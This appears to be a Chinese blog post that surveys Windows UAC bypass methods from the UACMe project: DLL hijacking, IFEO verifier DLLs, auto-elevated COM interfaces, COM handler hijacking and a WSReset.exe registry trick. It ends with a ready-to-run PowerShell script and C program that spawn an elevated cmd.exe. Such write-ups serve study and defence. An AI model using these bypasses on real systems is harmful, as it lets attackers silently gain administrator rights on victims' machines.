WinSxS位于%systemroot%\WinSxS,為windows XP SP2後引入的一種機制,其中存放的是windows系統檔案以及Dll檔案的若幹個副本,由于應用程式可以使用同一個DLL檔案,是以出于相容性與還原至舊版本的考慮,系統會在這裡存放多個不同版本的檔案副本。

SxS允許二進制檔案嵌入manifest檔案來表達詳細的二進制依賴資訊,當Windows公共控件包comctl32.dll被分裂為多個可以互相并存的版本以後該機制被使用,因而應用程式可以加載正确版本的二進制檔案。此後其他的二進制檔案也采用相同的方式進行版本管理。

C:\Windows\System32\sysprep\sysprep.exe的manifest檔案如下,其中定義了dependency字段,這字段就是用來表達詳細的二進制依賴資訊的。

......
<dependency>
<dependentAssembly>
<assemblyIdentity
           type="win32"
           name="Microsoft.Windows.Common-Controls"
           version="6.0.0.0"
           processorArchitecture="amd64"
           publicKeyToken="6595b64144ccf1df"
       language="*"
      />
</dependentAssembly>
</dependency>

</assembly>
......
           

sysprep.exe在運作時會加載dependency設定的dll,比如name“Microsoft.Windows.Common-Controls”的對應的dll為comctl32.dll,sysprep.exe會加載C:\windwos\winsxs中的comctl32.dll,而不是加載system32下的dll。

但是在加載winsxs下的dll之前,windows會先應用Dotlocal機制去查找dll,這個機制也是MS推出的為了解決相容性問題的一個機制,exe會首先檢查目前目錄下有沒有sysprep.exe.local的檔案夾,如果有則在該檔案夾中尋找dll

C:\Windows\System32\sysprep\sysprep.exe.local\amd64microsoft.windows.common-controls6595b64144ccf1df6.0.7601.18837none_fa3b1e3d17594757\comctl32.dll
           

若沒有則會從winsxs下尋找dll

C:\Windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\comctl32.dll
           

是以,我們bypassUAC的思路也就出來了:

  1. C:\windows\system32\sysprep\下建立檔案夾sysprep.exe.local\amd64microsoft.windows.common-controls6595b64144ccf1df6.0.7601.18837none_fa3b1e3d17594757\
  2. 在該檔案夾下寫入comctl32.dll
  3. 運作sysprep.exe進行DLL劫持

對應21号方法:

Author: Leo Davidson derivative
    Type: Dll Hijack
    Method: IFileOperation, SxS DotLocal
    Target(s): \system32\sysprep\sysprep.exe
    Component(s): comctl32.dll
    Implementation: ucmSXSMethod
    Works from: Windows 7 (7600)
    Fixed in: Windows 10 RS3 (16232)
        How: MitigationPolicy->ProcessImageLoadPolicy->PreferSystem32Images
           

當然也可以選擇劫持其他程式

通過代碼注入繞過UAC

第14号方法使用了這種技術

Author: Leo Davidson, WinNT/Sirefef derivative
    Type: Dll Hijack
    Method: IFileOperation
    Target(s): \system\credwiz.exe, \system32\wbem\oobe.exe
    Component(s): netutils.dll
    Implementation: ucmSirefefMethod
    Works from: Windows 7 (7600)
    Fixed in: Windows 10 TH2 (10548)
        How: AppInfo elevated application path control hardening
           

具體操作流程如下:

  1. 将payloadDll(Fubuki)使用IFileOperation拷貝C:\Windows\system32\wbem\netutils.dll
  2. 将C:\Windows\system32\credwiz.exe 拷貝到Temp目錄下命名為oobe.exe
  3. 将Temp\oobe.exe使用IFileOperation拷貝到C:\Windows\system32\wbem\oobe.exe
  4. 啟動credwiz.exe(以挂起模式CREATE_SUSPENDED啟動)并向其程序注入shellcode(向credwiz中注入的代碼是ucmxElevatedLaunchProc函數的代碼)
  5. ucmElevatedLaunchProc中執行ShellExec (以runas方式執行)啟動C:\Windows\system32\wbem\oobe.exe,該可執行程式存在DLL劫持,C:\Windows\system32\wbem\netutils.dll得以運作,進而繞過UAC
  6. 清理system32\wbem下的資料

其中ucmxElevatedLaunchProc的代碼如下:

DWORD WINAPI ucmxElevatedLaunchProc(
    _In_ LOAD_PARAMETERS *Params
)
{
    SHELLEXECUTEINFOW shexec;

    shexec.cbSize = sizeof(shexec);
    shexec.fMask = SEE_MASK_NOCLOSEPROCESS;
    shexec.nShow = SW_SHOW;
    shexec.lpVerb = Params->szVerb;
    shexec.lpFile = Params->szTargetApp;
    shexec.lpParameters = NULL;
    shexec.lpDirectory = NULL;
    if (Params->ShellExecuteExW(&shexec))
        if (shexec.hProcess != NULL) {
            Params->WaitForSingleObject(shexec.hProcess, INFINITE);
            Params->CloseHandle(shexec.hProcess);
        }

    return Params->RtlExitUserThread(STATUS_SUCCESS);
}
           

其參數在

RtlSecureZeroMemory(LoadParams, sizeof(LOAD_PARAMETERS));

        _strcpy(LoadParams->szVerb, RUNAS_VERB);

        _strcat(szB1, OOBE_EXE);
        _strncpy(LoadParams->szTargetApp, MAX_PATH, szB1, MAX_PATH);

        LoadParams->ShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(
            g_ctx->hShell32,
            "ShellExecuteExW");

        LoadParams->WaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(
            g_ctx->hKernel32,
            "WaitForSingleObject");

        LoadParams->CloseHandle = (pfnCloseHandle)GetProcAddress(
            g_ctx->hKernel32,
            "CloseHandle");

        LoadParams->RtlExitUserThread = (pfnRtlExitUserThread)GetProcAddress(
            g_ctx->hNtdll,
            "RtlExitUserThread");
           

這裡被構造,然後通過

Status = RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0,(PUSER_THREAD_START_ROUTINE)newEp, newDp,&hRemoteThread, NULL);

 傳遞過去

關閉UAC機制

該方法第一次被使用是在一個叫Simda的惡意軟體中。

這個方法有一個缺點,需要重新開機系統才能成功關閉UAC。

該方法利用微軟沒有公開的ISecurityEditor COM對象,該對象和IFileOperation COM對象類似,是一個AutoElevate的COM對象,在白名單程序中使用可以自動提升權限。

這個對象可以用于修改系統資料庫的通路權限,攻擊者可以僞裝白名單程序然後修改如下系統資料庫權限為可寫

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

然後設定EnableLUA為0 (EnableLUA REG_DWORD 0)即可關閉UAC。

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

5号方法用的就是這種手法:

Author: WinNT/Simda
    Type: Elevated COM interface
    Method: ISecurityEditor
    Target(s): HKLM registry keys
    Component(s): -
    Implementation: ucmSimdaTurnOffUac
    Works from: Windows 7 (7600)
    Fixed in: Windows 10 TH1 (10147)
        How: ISecurityEditor interface method changed
           

關鍵代碼如下:

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入
  1. 使用ISecurityEditor修改上述系統資料庫權限為可寫
  2. 建立/修改系統資料庫鍵EnableUA的值為0
  3. 重新開機系統,成功關閉UAC
使用系統資料庫制定程式加載DLL

該方法同樣使用ISecurityEditor COM,修改的系統資料庫項為,将其通路權限改為可寫,然後在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

表項後建立子項cliconfg.exe,在子項下增加鍵值對:

GlobalFlag REG_DWORD 0x0000100   
VerifierDlls REG_SZ Hibiki.dll
           

VerifierDlls的值為dll的名字,該dll為攻擊者自定義dll,該DLL需要放置在C:\Windows\system32下。VerifierDlls中存儲的DLL會被AppVerfier(應用程式檢驗器)使用。

通過WUSA将攻擊者自動以DLL解壓至C:\windwos\system32\Hibiki.dll下,然後運作cliconfg.exe即可在運作時自動加載Hibiki.dll,因為cliconfg.exe是AutoElevate的exe,是以Hiibiki.dll會以管理者權限運作,即繞過了UAC。

方法9使用了該技術:

Author: Leo Davidson, WinNT/Simda, Win32/Carberp derivative
    Type: Dll Hijack
    Method: IFileOperation, ISecurityEditor, WUSA
    Target(s): IFEO registry keys, \system32\cliconfg.exe
    Component(s): Attacker defined Application Verifier Dll
    Implementation: ucmAvrfMethod
    Works from: Windows 7 (7600)
    Fixed in: Windows 10 TH1 (10147)
        How: WUSA /extract option removed, ISecurityEditor interface method changed
           

注意,由于是使用的WUSA來進行轉移,是以同樣也要構造一個cab格式的檔案.

以上就是常見的通過DLL劫持的方式來BypassUAC的方法.

利用COM接口

COM簡介

COM是Component Object Model (元件對象模型)的縮寫。 COM是微軟公司為了計算機工業的軟體生産更加符合人類的行為方式開發的一種新的軟體開發技術。在COM構架下,人們可以開發出各種各樣的功能專一的元件,然後将它們按照需要組合起來,構成複雜的應用系統。

應用程式與COM系統資料庫的關系 – CLSID

首先需要介紹一下CLSID(Class Identifier),中文翻譯為:“全局唯一辨別符”。

CLSID是指Windows系統對于不同的應用程式,檔案類型,OLE對象,特殊檔案夾以及各種系統元件配置設定的一個唯一表示它的ID代碼,用于對其身份的辨別和與其他對象進行區分。位置在系統資料庫的HKEY_CLASSES_ROOT\CLSID,這裡存放了Windows系統元件對應的CLSID,選中某個CLSID,在右側窗格中的“預設”值顯示的“資料”即為該CLSID對應的系統元件名稱,例如{26EE0668-A00A-44D7-9371-BEB064C98683}就是“控制台”的CLSID。

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

可以有以下應用方式:

  • 方式一:Win + R 快捷鍵調出“運作”對話框,輸入 shell:::CLSID(例如 shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ),确定,即可打開“控制台”(不是在cmd中)
  • 方式二:建立快捷方式。在建立快捷方式時,隻需在“請鍵入對象的位置”文本框中輸入 explorer shell:::CLSID(例如explorer shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ),那麼使用建立的快捷方式打開“控制台”;
  • 方式三:你也可以把某個系統元件的CLSID嵌入到應用軟體中,以快速打開某元件;

利用可以Auto Approval的COM元件BypassUAC

對于這類BypassUAC,需要滿足以下兩點:

  1. elevation屬性開啟,且開啟Auto Approval(需要利用這個特點繞過UAC)
  2. COM元件中的接口存在可以指令執行的地方(用來執行我們自己的指令)

舉個例子,如41号方法:

Author: Oddvar Moe
    Type: Elevated COM interface
    Method: ICMLuaUtil
    Target(s): Attacker defined
    Component(s): Attacker defined
    Implementation: ucmCMLuaUtilShellExecMethod
    Works from: Windows 7 (7600)
    Fixed in: unfixed 🙈
        How: -
           

這個方法使用的是CMSTPLUA元件的ICMLuaUtil接口,我們對着上述兩個特點看一下

這裡建議下載下傳一個OleViewDotNet工具,可以友善的檢視系統中的COM接口屬性資訊,注意需要用管理者權限運作

Registry -> CLSIDs

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

在CLSID上右鍵 -> properties -> Elevation 可以看到該接口Enabled:True&Auto Approval:True,滿足上述第一個條件

滑鼠懸浮在ICMLuaUtil上,可以看到虛函數表位址在cmlua.dll+0x7360的位置處

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

用IDA打開看一下,找到0x180007360的位置,可以看到ICMLuaUtil接口的虛函數表

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

滿足了第二個條件,即通過調用

ShellExecuteEx

這個

Windows API

實作了指令執行

我們具體看一下實作過程:

關鍵代碼在Source\Akagi\methods\api0cradle.c中的ucmCMLuaUtilShellExecMethod函數中定義,同樣,調用該函數前需要用supMasqueradeProcess僞裝成白名單,關鍵函數如下:

NTSTATUS ucmCMLuaUtilShellExecMethod(
    _In_ LPWSTR lpszExecutable
)
{
    NTSTATUS         MethodResult = STATUS_ACCESS_DENIED;
    HRESULT          r = E_FAIL, hr_init;
    BOOL             bApprove = FALSE;
    ICMLuaUtil      *CMLuaUtil = NULL;

    hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); //初始化目前線程Com元件
      ......

        r = ucmAllocateElevatedObject(
            T_CLSID_CMSTPLUA,
            &IID_ICMLuaUtil,
            CLSCTX_LOCAL_SERVER,
            (void**)&CMLuaUtil);

            ......

        r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
            lpszExecutable,
            NULL,
            NULL,
            SEE_MASK_DEFAULT,
            SW_SHOW);
          ......

    if (CMLuaUtil != NULL) {
        CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    }

    if (hr_init == S_OK)
        CoUninitialize();

    return MethodResult;
}
           

ucmAllocateElevatedObject中用CoGetObject建立了一個以管理者權限運作的CMLuaUtil元件

然後用ShellExec傳進來的lpszExecutable,也就是payload:

if (g_ctx->OptionalParameterLength == 0)
        lpszParameter = g_ctx->szDefaultPayload;
    else
        lpszParameter = g_ctx->szOptionalParameter;
return ucmCMLuaUtilShellExecMethod(lpszParameter);
           

定義在sup.c中,就是一行簡單滴調用cmd.exe的指令

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入
尋找這類可利用接口

除了通過上面的方式在

OleView

中手動去找,還可以通過

UACMe

項目提供的

Yuubari

工具快速檢視系統

UAC

設定資訊以及所有可以利用的程式和

COM

元件,這個工具的使用上文已經詳細說明了,這裡我們來看一下日志内容,挑幾個重點的說:

===============================================================
[UacView] Basic UAC settings
===============================================================
ElevationEnabled=Enabled
VirtualizationEnabled=Enabled
InstallerDetectEnabled=Enabled
ConsentPromptBehaviorAdmin=5
EnableSecureUIAPaths=1
PromptOnSecureDesktop=Enabled
           

顯示基本的UAC配置

===============================================================
[UacView] Autoelevated COM objects
===============================================================
EditionUpgradeHelper Class
EditionUpgradeHelper
\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01776DF3-B9AF-4E50-9B1C-56E93116D704}


CEIPLuaElevationHelper
wercplsupport.dll
Customer Experience Improvement Program
\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01D0A625-782D-4777-8D4E-547E6457FAD5}
           

羅列所有可以自動權限提升的COM對象

===============================================================
[UacView] Autoelevated applications in Windows directory
===============================================================

C:\Windows\System32\BitLockerWizardElev.exe
requireAdministrator
uiAccess=FALSE
autoElevate=TRUE
           

羅列所有可以自動提升權限的應用(在windows目錄下的)

劫持COM元件繞過UAC

這種方式的原理在于CLSID下的兩個鍵名:InprocHandler32和InprocServer32:

  • InprocHandler32:指定應用程式使用的自定義處理程式
  • InprocServer32:注冊32位程序所需要的子產品、線程屬性配置
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID   
     {CLSID}       
    InprocServer32          (Default) = path          
    ThreadingModel         = value
           
BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入
COM元件的加載過程
  1. HKCU\Software\Classes\CLSID
  2. HKCR\CLSID
  3. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

是以我們可以通過在COM元件系統資料庫下建立InprocServer32鍵值并将其指向我們自己的payload DLL來實作COM元件的劫持

40号方法就是使用這種技術:

Author: Ruben Boonen
    Type: COM Handler Hijack
    Method: Registry key manipulation
    Target(s): \system32\mmc.exe, \system32\recdisc.exe
    Component(s): Attacker defined
    Implementation: ucmCOMHandlersMethod
    Works from: Windows 7 (7600)
    Fixed in: Windows 10 19H1 (18362)
        How: Side effect of Windows changes
           

流程如下:

  1. 将payload DLL先複制到temp下
  2. 在CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}下建立InprocServer32并将值指向剛剛解壓出來的dll檔案,ThreadingModel的值為Apartment
  3. 建立ShellFolder,把HideOnDesktopPerUser值改為空,把Attributes值改為0xF090013D,這是”combination of SFGAO flags”
  4. 用mmc.exe運作eventvwr.msc,即可完成劫持.
  5. 清理系統資料庫

利用Shell API

這種方法主要是通過尋找autoElevated屬性為true的程式,修改其系統資料庫\shell\open\command的值,改成我們想要執行的paylaod,在該值中指明的字段會在這類程式運作時自動執行,類似于預設程式打開,當你以後運作該程式時,這個command指令都會自動執行

UACME原本項目中的方法…我嘗試的時候有點bug,不知道是我系統的問題還是什麼問題,後續研究一下..這裡給一個win10仍可用的payload,利用到了WSReset.exe這個應用商店的程式,利用思路如下:

  1. 更改HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command的值為”C:\Windows\System32\cmd.exe /c start cmd.exe”
  2. 運作WSReset.exe

将大佬原本的ps版本payload稍作修改:

<#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API

Author: Hashim Jawad of ACTIVELabs

.PARAMETER Command
Specifies the command you would like to run in high integrity context.

.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"

This will effectivly start cmd.exe in high integrity context.

.NOTES
This UAC bypass has been tested on the following:
 - Windows 10 Version 1803 OS Build 17134.590
 - Windows 10 Version 1809 OS Build 17763.316
#>

function Invoke-WSResetBypass {
      Param (
      [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
      )

      $CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      $filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      New-Item $CommandPath -Force | Out-Null
      New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
      Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
      Write-Host "[+] Registry entry has been created successfully!"

      $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
      Write-Host "[+] Starting WSReset.exe"

      Write-Host "[+] Triggering payload.."
      Start-Sleep -Seconds 10

      if (Test-Path $filePath) {
      Remove-Item $filePath -Recurse -Force
      Write-Host "[+] Cleaning up registry entry"
      }
}
IEX Invoke-WSResetBypass;
           

用法

POWERSHELL -EXECUTIONPOLICY BYPASS -FILE C:\Users\User\Desktop\BypassUAC.ps1

改成C版本:

#include <stdio.h>
#include <windows.h>

int main(void)
{
    LPCWSTR regname = L"Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open";
    HKEY hkResult = NULL;
    const wchar_t * payload = L"C:\\Windows\\System32\\cmd.exe /c start cmd.exe";
    DWORD Len = wcslen(payload)*2 + 2;

    int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hkResult);

    ret = RegSetValueEx(hkResult, L"command", 0, REG_SZ, (BYTE*)payload, Len);
    if (ret == 0) {
        printf("success to write run key\n");
        RegCloseKey(hkResult);
    }
    else {
        printf("failed to open regedit.%d\n", ret);
        return 0;
    }
    printf("Starting WSReset.exe");
    system("C://Windows//System32//WSReset.exe");
    return 0;
}
           

實際在測試的時候,我的Win10(10.0.19041.329)沒有成功,似乎是我的系統資料庫之前被改壞了,但是這種思路就是這樣是沒有問題的,大名鼎鼎的冰河木馬和灰鴿子都是采用類似的方式來執行自己的exe的.

UACMe中還是有很多沒有被修複的BypassUac的方法的,在實際使用中要結合具體的情況來選取使用的方式,msf中也有多種BypassUac的方法可以使用.BypassUac的方法比較多,單思路來說,大體思路都在上述的總結中了,目前為止這應該是相對比較全面的一片BypassUac的方法總結了,有任何有問題的地方,請各位大佬指正.

參考

  • https://www.secpulse.com/archives/68255.html
  • https://cloud.tencent.com/developer/article/1623517
  • https://payloads.online/archivers/2018-12-22/1#0x00-%E5%89%8D%E8%A8%80

繼續閱讀